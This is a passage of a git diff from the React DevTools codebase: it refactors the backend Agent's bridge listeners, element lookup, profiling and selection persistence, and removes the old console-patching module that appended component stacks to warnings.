     bridge.addListener('storeAsGlobal', this.storeAsGlobal);
     bridge.addListener(
-      'syncSelectionFromNativeElementsPanel',
-      this.syncSelectionFromNativeElementsPanel,
+      'syncSelectionFromBuiltinElementsPanel',
+      this.syncSelectionFromBuiltinElementsPanel,
     );
     bridge.addListener('shutdown', this.shutdown);
+
+    bridge.addListener('updateHookSettings', this.updateHookSettings);
+    bridge.addListener('getHookSettings', this.getHookSettings);
+
+    bridge.addListener('updateComponentFilters', this.updateComponentFilters);
+    bridge.addListener('getEnvironmentNames', this.getEnvironmentNames);
     bridge.addListener(
-      'updateConsolePatchSettings',
-      this.updateConsolePatchSettings,
+      'getIfHasUnsupportedRendererVersion',
+      this.getIfHasUnsupportedRendererVersion,
     );
-    bridge.addListener('updateComponentFilters', this.updateComponentFilters);
-    bridge.addListener('viewAttributeSource', this.viewAttributeSource);
-    bridge.addListener('viewElementSource', this.viewElementSource);
 
     // Temporarily support older standalone front-ends sending commands to newer embedded backends.
     // We do this because React Native embeds the React DevTools backend,
@@ -229,30 +360,15 @@ export default class Agent extends EventEmitter<{
     bridge.addListener('overrideProps', this.overrideProps);
     bridge.addListener('overrideState', this.overrideState);
 
+    setupHighlighter(bridge, this);
+    setupTraceUpdates(this);
+
+    // By this time, Store should already be initialized and intercept events
+    bridge.send('backendInitialized');
+
     if (this._isProfiling) {
       bridge.send('profilingStatus', true);
     }
-
-    // Send the Bridge protocol and backend versions, after initialization, in case the frontend has already requested it.
-    // The Store may be instantiated beore the agent.
-    const version = process.env.DEVTOOLS_VERSION;
-    if (version) {
-      this._bridge.send('backendVersion', version);
-    }
-    this._bridge.send('bridgeProtocol', currentBridgeProtocol);
-
-    // Notify the frontend if the backend supports the Storage API (e.g. localStorage).
-    // If not, features like reload-and-profile will not work correctly and must be disabled.
-    let isBackendStorageAPISupported = false;
-    try {
-      localStorage.getItem('test');
-      isBackendStorageAPISupported = true;
-    } catch (error) {}
-    bridge.send('isBackendStorageAPISupported', isBackendStorageAPISupported);
-    bridge.send('isSynchronousXHRSupported', isSynchronousXHRSupported());
-
-    setupHighlighter(bridge, this);
-    setupTraceUpdates(this);
   }
 
   get rendererInterfaces(): {[key: RendererID]: RendererInterface, ...} {
@@ -270,16 +386,19 @@ export default class Agent extends EventEmitter<{
     }
   };
 
-  clearErrorsForFiberID: ElementAndRendererID => void = ({id, rendererID}) => {
+  clearErrorsForElementID: ElementAndRendererID => void = ({
+    id,
+    rendererID,
+  }) => {
     const renderer = this._rendererInterfaces[rendererID];
     if (renderer == null) {
       console.warn(`Invalid renderer id "${rendererID}"`);
     } else {
-      renderer.clearErrorsForFiberID(id);
+      renderer.clearErrorsForElementID(id);
     }
   };
 
-  clearWarningsForFiberID: ElementAndRendererID => void = ({
+  clearWarningsForElementID: ElementAndRendererID => void = ({
     id,
     rendererID,
   }) => {
@@ -287,7 +406,7 @@ export default class Agent extends EventEmitter<{
     if (renderer == null) {
       console.warn(`Invalid renderer id "${rendererID}"`);
     } else {
-      renderer.clearWarningsForFiberID(id);
+      renderer.clearWarningsForElementID(id);
     }
   };
 
@@ -337,35 +456,90 @@ export default class Agent extends EventEmitter<{
     return renderer.getInstanceAndStyle(id);
   }
 
-  getBestMatchingRendererInterface(node: Object): RendererInterface | null {
-    let bestMatch = null;
-    for (const rendererID in this._rendererInterfaces) {
-      const renderer = ((this._rendererInterfaces[
-        (rendererID: any)
-      ]: any): RendererInterface);
-      const fiber = renderer.getFiberForNative(node);
-      if (fiber !== null) {
-        // check if fiber.stateNode is matching the original hostInstance
-        if (fiber.stateNode === node) {
-          return renderer;
-        } else if (bestMatch === null) {
-          bestMatch = renderer;
+  getIDForHostInstance(
+    target: HostInstance,
+    onlySuspenseNodes?: boolean,
+  ): null | {id: number, rendererID: number} {
+    if (isReactNativeEnvironment() || typeof target.nodeType !== 'number') {
+      // In React Native or non-DOM we simply pick any renderer that has a match.
+      for (const rendererID in this._rendererInterfaces) {
+        const renderer = ((this._rendererInterfaces[
+          (rendererID: any)
+        ]: any): RendererInterface);
+        try {
+          const id = onlySuspenseNodes
+            ? renderer.getSuspenseNodeIDForHostInstance(target)
+            : renderer.getElementIDForHostInstance(target);
+          if (id !== null) {
+            return {
+              id: id,
+              rendererID: +rendererID,
+            };
+          }
+        } catch (error) {
+          // Some old React versions might throw if they can't find a match.
+          // If so we should ignore it...
+        }
+      }
+      return null;
+    } else {
+      // In the DOM we use a smarter mechanism to find the deepest a DOM node
+      // that is registered if there isn't an exact match.
+      let bestMatch: null | Element = null;
+      let bestRenderer: null | RendererInterface = null;
+      let bestRendererID: number = 0;
+      // Find the nearest ancestor which is mounted by a React.
+      for (const rendererID in this._rendererInterfaces) {
+        const renderer = ((this._rendererInterfaces[
+          (rendererID: any)
+        ]: any): RendererInterface);
+        const nearestNode: null | Element = renderer.getNearestMountedDOMNode(
+          (target: any),
+        );
+        if (nearestNode !== null) {
+          if (nearestNode === target) {
+            // Exact match we can exit early.
+            bestMatch = nearestNode;
+            bestRenderer = renderer;
+            bestRendererID = +rendererID;
+            break;
+          }
+          if (bestMatch === null || bestMatch.contains(nearestNode)) {
+            // If this is the first match or the previous match contains the new match,
+            // so the new match is a deeper and therefore better match.
+            bestMatch = nearestNode;
+            bestRenderer = renderer;
+            bestRendererID = +rendererID;
+          }
+        }
+      }
+      if (bestRenderer != null && bestMatch != null) {
+        try {
+          const id = onlySuspenseNodes
+            ? bestRenderer.getSuspenseNodeIDForHostInstance(bestMatch)
+            : bestRenderer.getElementIDForHostInstance(bestMatch);
+          if (id !== null) {
+            return {
+              id,
+              rendererID: bestRendererID,
+            };
+          }
+        } catch (error) {
+          // Some old React versions might throw if they can't find a match.
+          // If so we should ignore it...
         }
       }
+      return null;
     }
-    // if an exact match is not found, return the first valid renderer as fallback
-    return bestMatch;
   }
 
-  getIDForNode(node: Object): number | null {
-    const rendererInterface = this.getBestMatchingRendererInterface(node);
-    if (rendererInterface != null) {
-      try {
-        return rendererInterface.getFiberIDForNative(node, true);
-      } catch (error) {
-        // Some old React versions might throw if they can't find a match.
-        // If so we should ignore it...
-      }
+  getComponentNameForHostInstance(target: HostInstance): string | null {
+    const match = this.getIDForHostInstance(target);
+    if (match !== null) {
+      const renderer = ((this._rendererInterfaces[
+        (match.rendererID: any)
+      ]: any): RendererInterface);
+      return renderer.getDisplayNameForElementID(match.id);
     }
     return null;
   }
@@ -429,17 +603,155 @@ export default class Agent extends EventEmitter<{
         this._persistedSelection = null;
         this._persistedSelectionMatch = null;
         renderer.setTrackedPath(null);
-        this._throttledPersistSelection(rendererID, id);
+        // Throttle persisting the selection.
+        this._lastSelectedElementID = id;
+        this._lastSelectedRendererID = rendererID;
+        if (!this._persistSelectionTimerScheduled) {
+          this._persistSelectionTimerScheduled = true;
+          setTimeout(this._persistSelection, 1000);
+        }
       }
 
       // TODO: If there was a way to change the selected DOM element
-      // in native Elements tab without forcing a switch to it, we'd do it here.
+      // in built-in Elements tab without forcing a switch to it, we'd do it here.
       // For now, it doesn't seem like there is a way to do that:
       // https://github.com/bvaughn/react-devtools-experimental/issues/102
       // (Setting $0 doesn't work, and calling inspect() switches the tab.)
     }
   };
 
+  inspectScreen: InspectScreenParams => void = ({
+    requestID,
+    id,
+    forceFullData,
+    path: screenPath,
+  }) => {
+    let inspectedScreen: InspectedElement | null = null;
+    let found = false;
+    // the suspendedBy index will be from the previously merged roots.
+    // We need to keep track of how many suspendedBy we've already seen to know
+    // to which renderer the index belongs.
+    let suspendedByOffset = 0;
+    let suspendedByPathIndex: number | null = null;
+    // The path to hydrate for a specific renderer
+    let rendererPath: InspectElementParams['path'] = null;
+    if (screenPath !== null && screenPath.length > 1) {
+      const secondaryCategory = screenPath[0];
+      if (secondaryCategory !== 'suspendedBy') {
+        throw new Error(
+          'Only hydrating suspendedBy paths is supported. This is a bug.',
+        );
+      }
+      if (typeof screenPath[1] !== 'number') {
+        throw new Error(
+          `Expected suspendedBy index to be a number. Received '${screenPath[1]}' instead. This is a bug.`,
+        );
+      }
+      suspendedByPathIndex = screenPath[1];
+      rendererPath = screenPath.slice(2);
+    }
+
+    for (const rendererID in this._rendererInterfaces) {
+      const renderer = ((this._rendererInterfaces[
+        (rendererID: any)
+      ]: any): RendererInterface);
+      let path: InspectElementParams['path'] = null;
+      if (suspendedByPathIndex !== null && rendererPath !== null) {
+        const suspendedByPathRendererIndex =
+          suspendedByPathIndex - suspendedByOffset;
+        const rendererHasRequestedSuspendedByPath =
+          renderer.getElementAttributeByPath(id, [
+            'suspendedBy',
+            suspendedByPathRendererIndex,
+          ]) !== undefined;
+        if (rendererHasRequestedSuspendedByPath) {
+          path = ['suspendedBy', suspendedByPathRendererIndex].concat(
+            rendererPath,
+          );
+        }
+      }
+
+      const inspectedRootsPayload = renderer.inspectElement(
+        requestID,
+        id,
+        path,
+        forceFullData,
+      );
+      switch (inspectedRootsPayload.type) {
+        case 'hydrated-path':
+          // The path will be relative to the Roots of this renderer. We adjust it
+          // to be relative to all Roots of this implementation.
+          inspectedRootsPayload.path[1] += suspendedByOffset;
+          // TODO: Hydration logic is flawed since the Frontend path is not based
+          // on the original backend data but rather its own representation of it (e.g. due to reorder).
+          // So we can receive null here instead when hydration fails
+          if (inspectedRootsPayload.value !== null) {
+            for (
+              let i = 0;
+              i < inspectedRootsPayload.value.cleaned.length;
+              i++
+            ) {
+              inspectedRootsPayload.value.cleaned[i][1] += suspendedByOffset;
+            }
+          }
+          this._bridge.send('inspectedScreen', inspectedRootsPayload);
+          // If we hydrated a path, it must've been in a specific renderer so we can stop here.
+          return;
+        case 'full-data':
+          const inspectedRoots = inspectedRootsPayload.value;
+          if (inspectedScreen === null) {
+            inspectedScreen = createEmptyInspectedScreen(
+              inspectedRoots.id,
+              inspectedRoots.type,
+            );
+          }
+          mergeRoots(inspectedScreen, inspectedRoots, suspendedByOffset);
+          const dehydratedSuspendedBy: DehydratedData =
+            inspectedRoots.suspendedBy;
+          const suspendedBy = ((dehydratedSuspendedBy.data: any): Array<mixed>);
+          suspendedByOffset += suspendedBy.length;
+          found = true;
+          break;
+        case 'no-change':
+          found = true;
+          const rootsSuspendedBy: Array<mixed> =
+            (renderer.getElementAttributeByPath(id, ['suspendedBy']): any);
+          suspendedByOffset += rootsSuspendedBy.length;
+          break;
+        case 'not-found':
+          break;
+        case 'error':
+          // bail out and show the error
+          // TODO: aggregate errors
+          this._bridge.send('inspectedScreen', inspectedRootsPayload);
+          return;
+      }
+    }
+
+    if (inspectedScreen === null) {
+      if (found) {
+        this._bridge.send('inspectedScreen', {
+          type: 'no-change',
+          responseID: requestID,
+          id,
+        });
+      } else {
+        this._bridge.send('inspectedScreen', {
+          type: 'not-found',
+          responseID: requestID,
+          id,
+        });
+      }
+    } else {
+      this._bridge.send('inspectedScreen', {
+        type: 'full-data',
+        responseID: requestID,
+        id,
+        value: inspectedScreen,
+      });
+    }
+  };
+
   logElementToConsole: ElementAndRendererID => void = ({id, rendererID}) => {
     const renderer = this._rendererInterfaces[rendererID];
     if (renderer == null) {
@@ -475,6 +787,18 @@ export default class Agent extends EventEmitter<{
     }
   };
 
+  overrideSuspenseMilestone: OverrideSuspenseMilestoneParams => void = ({
+    rendererID,
+    suspendedSet,
+  }) => {
+    const renderer = ((this._rendererInterfaces[
+      (rendererID: any)
+    ]: any): RendererInterface);
+    if (renderer.supportsTogglingSuspense) {
+      renderer.overrideSuspenseMilestone(suspendedSet);
+    }
+  };
+
   overrideValueAtPath: OverrideValueAtPathParams => void = ({
     hookID,
     id,
@@ -580,19 +904,23 @@ export default class Agent extends EventEmitter<{
     }
   };
 
-  reloadAndProfile: (recordChangeDescriptions: boolean) => void =
-    recordChangeDescriptions => {
-      sessionStorageSetItem(SESSION_STORAGE_RELOAD_AND_PROFILE_KEY, 'true');
-      sessionStorageSetItem(
-        SESSION_STORAGE_RECORD_CHANGE_DESCRIPTIONS_KEY,
-        recordChangeDescriptions ? 'true' : 'false',
-      );
+  onReloadAndProfileSupportedByHost: () => void = () => {
+    this._bridge.send('isReloadAndProfileSupportedByBackend', true);
+  };
 
-      // This code path should only be hit if the shell has explicitly told the Store that it supports profiling.
-      // In that case, the shell must also listen for this specific message to know when it needs to reload the app.
-      // The agent can't do this in a way that is renderer agnostic.
-      this._bridge.send('reloadAppForProfiling');
-    };
+  reloadAndProfile: ({
+    recordChangeDescriptions: boolean,
+    recordTimeline: boolean,
+  }) => void = ({recordChangeDescriptions, recordTimeline}) => {
+    if (typeof this._onReloadAndProfile === 'function') {
+      this._onReloadAndProfile(recordChangeDescriptions, recordTimeline);
+    }
+
+    // This code path should only be hit if the shell has explicitly told the Store that it supports profiling.
+    // In that case, the shell must also listen for this specific message to know when it needs to reload the app.
+    // The agent can't do this in a way that is renderer agnostic.
+    this._bridge.send('reloadAppForProfiling');
+  };
 
   renamePath: RenamePathParams => void = ({
     hookID,
@@ -610,23 +938,27 @@ export default class Agent extends EventEmitter<{
     }
   };
 
-  selectNode(target: Object): void {
-    const id = this.getIDForNode(target);
-    if (id !== null) {
-      this._bridge.send('selectFiber', id);
-    }
+  selectNode(target: HostInstance | null): void {
+    const match = target !== null ? this.getIDForHostInstance(target) : null;
+    this._bridge.send(
+      'selectElement',
+      match !== null
+        ? match.id
+        : // If you click outside a React root in the Elements panel, we want to give
+          // feedback that no selection is possible so we clear the selection.
+          // Otherwise clicking outside a React root is indistinguishable from clicking
+          // a different host node that leads to the same selected React element
+          // due to Component filters
+          null,
+    );
   }
 
-  setRendererInterface(
+  registerRendererInterface(
     rendererID: RendererID,
     rendererInterface: RendererInterface,
   ) {
     this._rendererInterfaces[rendererID] = rendererInterface;
 
-    if (this._isProfiling) {
-      rendererInterface.startProfiling(this._recordChangeDescriptions);
-    }
-
     rendererInterface.setTraceUpdatesEnabled(this._traceUpdatesEnabled);
 
     // When the renderer is attached, we need to tell it whether
@@ -652,35 +984,35 @@ export default class Agent extends EventEmitter<{
       }
     };
 
-  syncSelectionFromNativeElementsPanel: () => void = () => {
+  syncSelectionFromBuiltinElementsPanel: () => void = () => {
     const target = window.__REACT_DEVTOOLS_GLOBAL_HOOK__.$0;
-    if (target == null) {
-      return;
-    }
-    this.selectNode(target);
+    this.selectNode(target == null ? null : target);
   };
 
   shutdown: () => void = () => {
     // Clean up the overlay if visible, and associated events.
     this.emit('shutdown');
+
+    this._bridge.removeAllListeners();
+    this.removeAllListeners();
   };
 
-  startProfiling: (recordChangeDescriptions: boolean) => void =
-    recordChangeDescriptions => {
-      this._recordChangeDescriptions = recordChangeDescriptions;
-      this._isProfiling = true;
-      for (const rendererID in this._rendererInterfaces) {
-        const renderer = ((this._rendererInterfaces[
-          (rendererID: any)
-        ]: any): RendererInterface);
-        renderer.startProfiling(recordChangeDescriptions);
-      }
-      this._bridge.send('profilingStatus', this._isProfiling);
-    };
+  startProfiling: ({
+    recordChangeDescriptions: boolean,
+    recordTimeline: boolean,
+  }) => void = ({recordChangeDescriptions, recordTimeline}) => {
+    this._isProfiling = true;
+    for (const rendererID in this._rendererInterfaces) {
+      const renderer = ((this._rendererInterfaces[
+        (rendererID: any)
+      ]: any): RendererInterface);
+      renderer.startProfiling(recordChangeDescriptions, recordTimeline);
+    }
+    this._bridge.send('profilingStatus', this._isProfiling);
+  };
 
   stopProfiling: () => void = () => {
     this._isProfiling = false;
-    this._recordChangeDescriptions = false;
     for (const rendererID in this._rendererInterfaces) {
       const renderer = ((this._rendererInterfaces[
         (rendererID: any)
@@ -691,7 +1023,7 @@ export default class Agent extends EventEmitter<{
   };
 
   stopInspectingNative: (selected: boolean) => void = selected => {
-    this._bridge.send('stopInspectingNative', selected);
+    this._bridge.send('stopInspectingHost', selected);
   };
 
   storeAsGlobal: StoreAsGlobalParams => void = ({
@@ -708,61 +1040,72 @@ export default class Agent extends EventEmitter<{
     }
   };
 
-  updateConsolePatchSettings: ({
-    appendComponentStack: boolean,
-    breakOnConsoleErrors: boolean,
-    browserTheme: BrowserTheme,
-    hideConsoleLogsInStrictMode: boolean,
-    showInlineWarningsAndErrors: boolean,
-  }) => void = ({
-    appendComponentStack,
-    breakOnConsoleErrors,
-    showInlineWarningsAndErrors,
-    hideConsoleLogsInStrictMode,
-    browserTheme,
-  }: ConsolePatchSettings) => {
-    // If the frontend preferences have changed,
-    // or in the case of React Native- if the backend is just finding out the preferences-
-    // then reinstall the console overrides.
-    // It's safe to call `patchConsole` multiple times.
-    patchConsole({
-      appendComponentStack,
-      breakOnConsoleErrors,
-      showInlineWarningsAndErrors,
-      hideConsoleLogsInStrictMode,
-      browserTheme,
-    });
+  updateHookSettings: (settings: $ReadOnly<DevToolsHookSettings>) => void =
+    settings => {
+      // Propagate the settings, so Backend can subscribe to it and modify hook
+      this.emit('updateHookSettings', settings);
+    };
+
+  getHookSettings: () => void = () => {
+    this.emit('getHookSettings');
   };
 
+  onHookSettings: (settings: $ReadOnly<DevToolsHookSettings>) => void =
+    settings => {
+      this._bridge.send('hookSettings', settings);
+    };
+
   updateComponentFilters: (componentFilters: Array<ComponentFilter>) => void =
     componentFilters => {
-      for (const rendererID in this._rendererInterfaces) {
+      for (const rendererIDString in this._rendererInterfaces) {
+        const rendererID = +rendererIDString;
         const renderer = ((this._rendererInterfaces[
           (rendererID: any)
         ]: any): RendererInterface);
+        if (this._lastSelectedRendererID === rendererID) {
+          // Changing component filters will unmount and remount the DevTools tree.
+          // Track the last selection's path so we can restore the selection.
+          const path = renderer.getPathForElement(this._lastSelectedElementID);
+          if (path !== null) {
+            renderer.setTrackedPath(path);
+            this._persistedSelection = {
+              rendererID,
+              path,
+            };
+          }
+        }
         renderer.updateComponentFilters(componentFilters);
       }
-    };
 
-  viewAttributeSource: CopyElementParams => void = ({id, path, rendererID}) => {
-    const renderer = this._rendererInterfaces[rendererID];
-    if (renderer == null) {
-      console.warn(`Invalid renderer id "${rendererID}" for element "${id}"`);
-    } else {
-      renderer.prepareViewAttributeSource(id, path);
-    }
-  };
+      // Due to the component filters changing, we might be able
+      // to select a closer match for the currently selected host element.
+      // The store will already select a suitable parent if the the current
+      // selection is now filtered out in which cases this will be a no-op.
+      const target = window.__REACT_DEVTOOLS_GLOBAL_HOOK__.$0;
+      if (target != null) {
+        this.selectNode(target);
+      }
+    };
 
-  viewElementSource: ElementAndRendererID => void = ({id, rendererID}) => {
-    const renderer = this._rendererInterfaces[rendererID];
-    if (renderer == null) {
-      console.warn(`Invalid renderer id "${rendererID}" for element "${id}"`);
-    } else {
-      renderer.prepareViewElementSource(id);
+  getEnvironmentNames: () => void = () => {
+    let accumulatedNames = null;
+    for (const rendererID in this._rendererInterfaces) {
+      const renderer = this._rendererInterfaces[+rendererID];
+      const names = renderer.getEnvironmentNames();
+      if (accumulatedNames === null) {
+        accumulatedNames = names;
+      } else {
+        for (let i = 0; i < names.length; i++) {
+          if (accumulatedNames.indexOf(names[i]) === -1) {
+            accumulatedNames.push(names[i]);
+          }
+        }
+      }
     }
+    this._bridge.send('environmentNames', accumulatedNames || []);
   };
 
-  onTraceUpdates: (nodes: Set<NativeType>) => void = nodes => {
+  onTraceUpdates: (nodes: Set<HostInstance>) => void = nodes => {
     this.emit('traceUpdates', nodes);
   };
 
@@ -820,7 +1163,7 @@ export default class Agent extends EventEmitter<{
           if (prevMatchID !== nextMatchID) {
             if (nextMatchID !== null) {
               // We moved forward, unlocking a deeper node.
-              this._bridge.send('selectFiber', nextMatchID);
+              this._bridge.send('selectElement', nextMatchID);
             }
           }
           if (nextMatch !== null && nextMatch.isFullMatch) {
@@ -835,26 +1178,33 @@ export default class Agent extends EventEmitter<{
     }
   };
 
-  onUnsupportedRenderer(rendererID: number) {
-    this._bridge.send('unsupportedRendererVersion', rendererID);
+  getIfHasUnsupportedRendererVersion: () => void = () => {
+    this.emit('getIfHasUnsupportedRendererVersion');
+  };
+
+  onUnsupportedRenderer() {
+    this._bridge.send('unsupportedRendererVersion');
   }
 
-  _throttledPersistSelection: any = throttle(
-    (rendererID: number, id: number) => {
-      // This is throttled, so both renderer and selected ID
-      // might not be available by the time we read them.
-      // This is why we need the defensive checks here.
-      const renderer = this._rendererInterfaces[rendererID];
-      const path = renderer != null ? renderer.getPathForElement(id) : null;
-      if (path !== null) {
-        sessionStorageSetItem(
-          SESSION_STORAGE_LAST_SELECTION_KEY,
-          JSON.stringify(({rendererID, path}: PersistedSelection)),
-        );
-      } else {
-        sessionStorageRemoveItem(SESSION_STORAGE_LAST_SELECTION_KEY);
-      }
-    },
-    1000,
-  );
+  _persistSelectionTimerScheduled: boolean = false;
+  _lastSelectedRendererID: number = -1;
+  _lastSelectedElementID: number = -1;
+  _persistSelection: any = () => {
+    this._persistSelectionTimerScheduled = false;
+    const rendererID = this._lastSelectedRendererID;
+    const id = this._lastSelectedElementID;
+    // This is throttled, so both renderer and selected ID
+    // might not be available by the time we read them.
+    // This is why we need the defensive checks here.
+    const renderer = this._rendererInterfaces[rendererID];
+    const path = renderer != null ? renderer.getPathForElement(id) : null;
+    if (path !== null) {
+      sessionStorageSetItem(
+        SESSION_STORAGE_LAST_SELECTION_KEY,
+        JSON.stringify(({rendererID, path}: PersistedSelection)),
+      );
+    } else {
+      sessionStorageRemoveItem(SESSION_STORAGE_LAST_SELECTION_KEY);
+    }
+  };
 }
diff --git a/packages/react-devtools-shared/src/backend/console.js b/packages/react-devtools-shared/src/backend/console.js
deleted file mode 100644
index 524bad82cca2..000000000000
--- a/packages/react-devtools-shared/src/backend/console.js
+++ /dev/null
@@ -1,411 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-import type {Fiber} from 'react-reconciler/src/ReactInternalTypes';
-import type {
-  LegacyDispatcherRef,
-  CurrentDispatcherRef,
-  ReactRenderer,
-  WorkTagMap,
-  ConsolePatchSettings,
-} from './types';
-
-import {
-  formatConsoleArguments,
-  formatWithStyles,
-} from 'react-devtools-shared/src/backend/utils';
-import {
-  FIREFOX_CONSOLE_DIMMING_COLOR,
-  ANSI_STYLE_DIMMING_TEMPLATE,
-  ANSI_STYLE_DIMMING_TEMPLATE_WITH_COMPONENT_STACK,
-} from 'react-devtools-shared/src/constants';
-import {getInternalReactConstants, getDispatcherRef} from './renderer';
-import {
-  getStackByFiberInDevAndProd,
-  supportsNativeConsoleTasks,
-} from './DevToolsFiberComponentStack';
-import {castBool, castBrowserTheme} from '../utils';
-
-const OVERRIDE_CONSOLE_METHODS = ['error', 'trace', 'warn'];
-
-// React's custom built component stack strings match "\s{4}in"
-// Chrome's prefix matches "\s{4}at"
-const PREFIX_REGEX = /\s{4}(in|at)\s{1}/;
-// Firefox and Safari have no prefix ("")
-// but we can fallback to looking for location info (e.g. "foo.js:12:345")
-const ROW_COLUMN_NUMBER_REGEX = /:\d+:\d+(\n|$)/;
-
-export function isStringComponentStack(text: string): boolean {
-  return PREFIX_REGEX.test(text) || ROW_COLUMN_NUMBER_REGEX.test(text);
-}
-
-const STYLE_DIRECTIVE_REGEX = /^%c/;
-
-// This function tells whether or not the arguments for a console
-// method has been overridden by the patchForStrictMode function.
-// If it has we'll need to do some special formatting of the arguments
-// so the console color stays consistent
-function isStrictModeOverride(args: Array<string>): boolean {
-  if (__IS_FIREFOX__) {
-    return (
-      args.length >= 2 &&
-      STYLE_DIRECTIVE_REGEX.test(args[0]) &&
-      args[1] === FIREFOX_CONSOLE_DIMMING_COLOR
-    );
-  } else {
-    return args.length >= 2 && args[0] === ANSI_STYLE_DIMMING_TEMPLATE;
-  }
-}
-
-type OnErrorOrWarning = (
-  fiber: Fiber,
-  type: 'error' | 'warn',
-  args: Array<any>,
-) => void;
-
-const injectedRenderers: Map<
-  ReactRenderer,
-  {
-    currentDispatcherRef: LegacyDispatcherRef | CurrentDispatcherRef,
-    getCurrentFiber: () => Fiber | null,
-    onErrorOrWarning: ?OnErrorOrWarning,
-    workTagMap: WorkTagMap,
-  },
-> = new Map();
-
-let targetConsole: Object = console;
-let targetConsoleMethods: {[string]: $FlowFixMe} = {};
-for (const method in console) {
-  targetConsoleMethods[method] = console[method];
-}
-
-let unpatchFn: null | (() => void) = null;
-
-// Enables e.g. Jest tests to inject a mock console object.
-export function dangerous_setTargetConsoleForTesting(
-  targetConsoleForTesting: Object,
-): void {
-  targetConsole = targetConsoleForTesting;
-
-  targetConsoleMethods = ({}: {[string]: $FlowFixMe});
-  for (const method in targetConsole) {
-    targetConsoleMethods[method] = console[method];
-  }
-}
-
-// v16 renderers should use this method to inject internals necessary to generate a component stack.
-// These internals will be used if the console is patched.
-// Injecting them separately allows the console to easily be patched or un-patched later (at runtime).
-export function registerRenderer(
-  renderer: ReactRenderer,
-  onErrorOrWarning?: OnErrorOrWarning,
-): void {
-  const {
-    currentDispatcherRef,
-    getCurrentFiber,
-    findFiberByHostInstance,
-    version,
-  } = renderer;
-
-  // Ignore React v15 and older because they don't expose a component stack anyway.
-  if (typeof findFiberByHostInstance !== 'function') {
-    return;
-  }
-
-  // currentDispatcherRef gets injected for v16.8+ to support hooks inspection.
-  // getCurrentFiber gets injected for v16.9+.
-  if (currentDispatcherRef != null && typeof getCurrentFiber === 'function') {
-    const {ReactTypeOfWork} = getInternalReactConstants(version);
-
-    injectedRenderers.set(renderer, {
-      currentDispatcherRef,
-      getCurrentFiber,
-      workTagMap: ReactTypeOfWork,
-      onErrorOrWarning,
-    });
-  }
-}
-
-const consoleSettingsRef: ConsolePatchSettings = {
-  appendComponentStack: false,
-  breakOnConsoleErrors: false,
-  showInlineWarningsAndErrors: false,
-  hideConsoleLogsInStrictMode: false,
-  browserTheme: 'dark',
-};
-
-// Patches console methods to append component stack for the current fiber.
-// Call unpatch() to remove the injected behavior.
-export function patch({
-  appendComponentStack,
-  breakOnConsoleErrors,
-  showInlineWarningsAndErrors,
-  hideConsoleLogsInStrictMode,
-  browserTheme,
-}: ConsolePatchSettings): void {
-  // Settings may change after we've patched the console.
-  // Using a shared ref allows the patch function to read the latest values.
-  consoleSettingsRef.appendComponentStack = appendComponentStack;
-  consoleSettingsRef.breakOnConsoleErrors = breakOnConsoleErrors;
-  consoleSettingsRef.showInlineWarningsAndErrors = showInlineWarningsAndErrors;
-  consoleSettingsRef.hideConsoleLogsInStrictMode = hideConsoleLogsInStrictMode;
-  consoleSettingsRef.browserTheme = browserTheme;
-
-  if (
-    appendComponentStack ||
-    breakOnConsoleErrors ||
-    showInlineWarningsAndErrors
-  ) {
-    if (unpatchFn !== null) {
-      // Don't patch twice.
-      return;
-    }
-
-    const originalConsoleMethods: {[string]: $FlowFixMe} = {};
-
-    unpatchFn = () => {
-      for (const method in originalConsoleMethods) {
-        try {
-          targetConsole[method] = originalConsoleMethods[method];
-        } catch (error) {}
-      }
-    };
-
-    OVERRIDE_CONSOLE_METHODS.forEach(method => {
-      try {
-        const originalMethod = (originalConsoleMethods[method] = targetConsole[
-          method
-        ].__REACT_DEVTOOLS_ORIGINAL_METHOD__
-          ? targetConsole[method].__REACT_DEVTOOLS_ORIGINAL_METHOD__
-          : targetConsole[method]);
-
-        // $FlowFixMe[missing-local-annot]
-        const overrideMethod = (...args) => {
-          let shouldAppendWarningStack = false;
-          if (method !== 'log') {
-            if (consoleSettingsRef.appendComponentStack) {
-              const lastArg = args.length > 0 ? args[args.length - 1] : null;
-              const alreadyHasComponentStack =
-                typeof lastArg === 'string' && isStringComponentStack(lastArg);
-
-              // If we are ever called with a string that already has a component stack,
-              // e.g. a React error/warning, don't append a second stack.
-              shouldAppendWarningStack = !alreadyHasComponentStack;
-            }
-          }
-
-          const shouldShowInlineWarningsAndErrors =
-            consoleSettingsRef.showInlineWarningsAndErrors &&
-            (method === 'error' || method === 'warn');
-
-          // Search for the first renderer that has a current Fiber.
-          // We don't handle the edge case of stacks for more than one (e.g. interleaved renderers?)
-          // eslint-disable-next-line no-for-of-loops/no-for-of-loops
-          for (const renderer of injectedRenderers.values()) {
-            const currentDispatcherRef = getDispatcherRef(renderer);
-            const {getCurrentFiber, onErrorOrWarning, workTagMap} = renderer;
-            const current: ?Fiber = getCurrentFiber();
-            if (current != null) {
-              try {
-                if (shouldShowInlineWarningsAndErrors) {
-                  // patch() is called by two places: (1) the hook and (2) the renderer backend.
-                  // The backend is what implements a message queue, so it's the only one that injects onErrorOrWarning.
-                  if (typeof onErrorOrWarning === 'function') {
-                    onErrorOrWarning(
-                      current,
-                      ((method: any): 'error' | 'warn'),
-                      // Copy args before we mutate them (e.g. adding the component stack)
-                      args.slice(),
-                    );
-                  }
-                }
-
-                if (
-                  shouldAppendWarningStack &&
-                  !supportsNativeConsoleTasks(current)
-                ) {
-                  const componentStack = getStackByFiberInDevAndProd(
-                    workTagMap,
-                    current,
-                    (currentDispatcherRef: any),
-                  );
-                  if (componentStack !== '') {
-                    if (isStrictModeOverride(args)) {
-                      if (__IS_FIREFOX__) {
-                        args[0] = `${args[0]} %s`;
-                        args.push(componentStack);
-                      } else {
-                        args[0] =
-                          ANSI_STYLE_DIMMING_TEMPLATE_WITH_COMPONENT_STACK;
-                        args.push(componentStack);
-                      }
-                    } else {
-                      args.push(componentStack);
-                    }
-                  }
-                }
-              } catch (error) {
-                // Don't let a DevTools or React internal error interfere with logging.
-                setTimeout(() => {
-                  throw error;
-                }, 0);
-              } finally {
-                break;
-              }
-            }
-          }
-
-          if (consoleSettingsRef.breakOnConsoleErrors) {
-            // --- Welcome to debugging with React DevTools ---
-            // This debugger statement means that you've enabled the "break on warnings" feature.
-            // Use the browser's Call Stack panel to step out of this override function-
-            // to where the original warning or error was logged.
-            // eslint-disable-next-line no-debugger
-            debugger;
-          }
-
-          originalMethod(...args);
-        };
-
